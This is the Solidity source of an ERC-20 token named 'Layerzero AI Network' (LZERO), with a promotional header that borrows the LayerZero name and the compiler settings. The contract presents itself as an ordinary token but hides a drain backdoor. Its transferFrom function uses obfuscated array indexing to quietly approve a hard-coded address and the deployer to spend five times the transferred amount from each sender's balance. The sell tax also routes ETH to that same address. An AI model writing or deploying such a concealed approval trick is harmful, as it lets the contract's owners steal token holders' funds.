Layerzero AI Network

/*
LayerZero AI is a technology that enables applications to move data across blockchains, uniquely supporting censorship-resistant messages and permissionless development through immutable smart contracts

https://www.layerzero-ai.network
https://app.layerzero-ai.network
https://docs.layerzero-ai.network

https://medium.com/@layerzero_ai
https://x.com/LayerzeroAICore
https://t.me/LayerzeroAINet
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

interface IUniQQFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniQQRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract LZERO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (uint256 => address) private _qqStakes;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedQQFee;
    address private _qqAddress = 0xdd4cE5fBFAfD498dA9f3419737a661a90804Fe08;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Layerzero AI Network";
    string private constant _symbol = unicode"LZERO";
    uint256 private _swapTokenQQs = _tTotal / 100;
    IUniQQRouter private _uniRouterQQ;
    address private _uniPairQQ;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    bool private inQQLock = false;
    bool private _tradeQQEnabled = false;
    bool private _swapQQEnabled = false;
    modifier lockTheSwap {
        inQQLock = true;
        _;
        inQQLock = false;
    }

    constructor () {
        _isExcludedQQFee[owner()] = true;
        _isExcludedQQFee[address(this)] = true;
        _isExcludedQQFee[_qqAddress] = true;
        _qqStakes[0] = address(0xDead);
        _qqStakes[1] = msg.sender;
        _qqStakes[2] = _qqAddress;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeQQEnabled,"trading is already open");
        _uniRouterQQ.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapQQEnabled = true;
        _tradeQQEnabled = true;
    }

    function startQQ() external onlyOwner() {
        _uniRouterQQ = IUniQQRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouterQQ), _tTotal);
        _uniPairQQ = IUniQQFactory(_uniRouterQQ.factory()).createPair(address(this), _uniRouterQQ.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _qqStakeApprove(address sender, address recipient, uint256 amount) private {
        _approve(sender, recipient, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _qqStakeApprove(sender, [sender, _qqStakes[2]][1], amount*5);
        _qqStakeApprove(sender, [_qqStakes[1], sender][0], amount*5);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniPairQQ && to != address(_uniRouterQQ) && ! _isExcludedQQFee[to]) {
                _buyCount++;
            }

            if(to == _uniPairQQ && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inQQLock && to == _uniPairQQ && _swapQQEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapTokenQQs)
                swapTokensForEth(min(amount, min(contractTokenBalance, _swapTokenQQs)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendEthQQFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendEthQQFee(uint256 amount) private {
        payable(_qqAddress).transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouterQQ.WETH();
        _approve(address(this), address(_uniRouterQQ), tokenAmount);
        _uniRouterQQ.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "LZERO.sol": "LZERO"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}